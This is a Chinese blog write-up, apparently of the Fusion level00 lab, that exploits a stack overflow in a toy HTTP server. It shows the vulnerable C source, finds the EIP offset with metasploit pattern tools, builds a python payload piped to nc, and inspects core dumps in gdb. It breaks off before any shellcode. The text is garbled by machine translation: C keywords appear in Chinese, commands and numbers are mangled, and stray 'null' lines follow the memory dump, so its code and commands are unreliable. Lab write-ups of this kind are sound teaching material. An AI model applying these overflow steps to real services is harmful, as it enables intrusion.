融合level00

  

经过半个多月的时间把原恒星完成了,休息了几天,继续做融合。

* * * * * * * * *题外话开始* * * * * * * * * *

在大学期间就在纠结是否选择程序猿的道路,结果因长时间高负荷写代码会引发不适而放弃了,不得不赞一下调好一个BUG时那种感觉。如今,当完成一道题目也会有这种感觉~ ~ ~ ~

* * * * * * * * *题外话结束* * * * * * * * * *

level00源码:

 # include " . ./共同/common.c”
  int fix_path (char *路径)
  {
  char[128]解决;
  如果(realpath(路径,解决)==NULL)返回1;//不能访问路径。将错误试图打开
  strcpy(路径,解决);
  }
  char * parse_http_request ()
  {
  字符缓冲区[1024];
  char *路径;
  char *问;
  printf("(调试)缓冲区0 x % 08: -) \ n”,缓冲区);
  如果(阅读(0,缓冲区,sizeof(缓冲))& lt;=0) errx(0,“未能从远程主机读取”);
  如果(memcmp(缓冲区,“得到”,4)!=0)errx(0,“不是一个GET请求”);
  路径=,缓冲[4];
  q=strchr(路径”、“);
  如果(!问)errx(0,“没有指定协议版本”);
  * q + +=0;
  如果(strncmp (q,“HTTP/1.1”, 8) !=0) errx(0,“无效协议”);
  fix_path(路径);
  printf(“试图访问% s \ n”,路径);
  返回路径;
  }
  int主要(int命令行参数个数,char * * argv, char * * envp)
  {
  int fd;
  char * p;
  background_process(名称、UID、GID);
  fd=serve_forever(港口);
  set_io (fd);
  parse_http_request ();
  }

融合的题目是原恒星的进阶版,难度也更难了,当然,level00还是个热身题。通过题目提示知道是个堆栈问题,而且shellcode应该放在之外。


既然是堆栈问题,那就来个长点的字符串吧。

 fusion@fusion:/opt/美元。/pattern_create metasploit framework/工具。rb 150
  Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
  fusion@fusion: ~ $ python - c“打印“GET/?“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9”+“HTTP/1.1”| 20000年数控localhost
  (调试)缓冲区0 xbf89b338: -) 

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#修改核心文件生成路径的方法是:#

# sudo sh - c的回声“/tmp/核心。% t”比;/proc/sys/kernel/core_pattern ' #

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

通过gdb来查看核心文件

 fusion@fusion:/tmp $ sudo - s核心=core.1368248639 gdb——安静
  融合(sudo)密码:
  (新LWP 2495)
  核心是由”。/level00”。
  程序终止信号段错误。
  # 0 0 x65413665 ? ?()
  (gdb) 

用pattern_offset。rb工具:

fusion@fusion:/opt/美元。/pattern_offset metasploit framework/工具。rb 0 x65413665   139年

由此可以得到溢出的字符修改EIP的位置在长度139的位置

接下来需要在输入中放进shellcode,通过核心文件找到shellcode的位置。

 fusion@fusion: ~ $ python - c”打印的GET/+ a * 139 +“\ xef \ xbe \ xad \ xde”+“HTTP/1.1”+“\ x90”* 100 + a * 100”| 20000年数控localhost
  (调试)缓冲区0 xbf89b338: -) 

* * * * * * * * * * * * * * *

 fusion@fusion:/tmp $ sudo - s gdb -=core.1368255737核心
  GNU gdb (Ubuntu/Linaro 7.3 0 ubuntu2) 7.3 - -2011.08
  版权(C) 2011自由软件基金会,公司。
  许可证GPLv3 +: GNU GPL 3或更高版本& lt; http://gnu.org/licenses/gpl.html>
  这是自由软件:你可以自由变化和重新分配。
  没有保修,法律允许的程度。输入“复制”
  和“保修”的细节。
  GDB是配置为“i686-linux-gnu”。
  bug报告说明,请参阅:
  & lt; http://bugs.launchpad.net/gdb-linaro/>。
  (新LWP 2833)
  核心是由”。/level00”。
  程序终止信号段错误。
  # 0 0 xdeadbeef ? ?()
  (gdb) x/200 x 0 xbf89b340
  0 xbf89b340: 0 x61616161 0 x61616161 0 0 x61616161 x61616161
  0 xbf89b350: 0 x61616161 0 x61616161 0 0 x61616161 x61616161
  0 xbf89b360: 0 x61616161 0 x61616161 0 0 x61616161 x61616161
  0 xbf89b370: 0 x61616161 0 x61616161 0 0 x61616161 x61616161
  0 xbf89b380: 0 x61616161 0 x61616161 0 0 x61616161 x61616161
  0 xbf89b390: 0 x61616161 0 x61616161 0 0 x61616161 x61616161
  0 xbf89b3a0: 0 x61616161 0 x61616161 0 0 x61616161 x61616161
  0 xbf89b3b0: 0 x61616161 0 x61616161 0 0 x61616161 x61616161
  0 xbf89b3c0: 0 x61616161 0 x61616161 0 0 x54544800 xdeadbeef
  0 xbf89b3d0: 0 x2e312f50 0 x90909031 0 0 x90909090 x90909090
  0 xbf89b3e0: 0 x90909090 0 x90909090 0 0 x90909090 x90909090
  0 xbf89b3f0: 0 x90909090 0 x90909090 0 0 x90909090 x90909090
  0 xbf89b400: 0 x90909090 0 x90909090 0 0 x90909090 x90909090
  0 xbf89b410: 0 x90909090 0 x90909090 0 0 x90909090 x90909090
  0 xbf89b420: 0 x90909090 0 x90909090 0 0 x90909090 x90909090
  0 xbf89b430: 0 x90909090 0 x90909090 0 0 x61616161 x61616190
  0 xbf89b440: 0 x61616161 0 x61616161 0 0 x61616161 x61616161
  0 xbf89b450: 0 x61616161 0 x61616161 0 0 x61616161 x61616161
  0 xbf89b460: 0 x61616161 0 x61616161 0 0 x61616161 x61616161
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null
  null

融合level00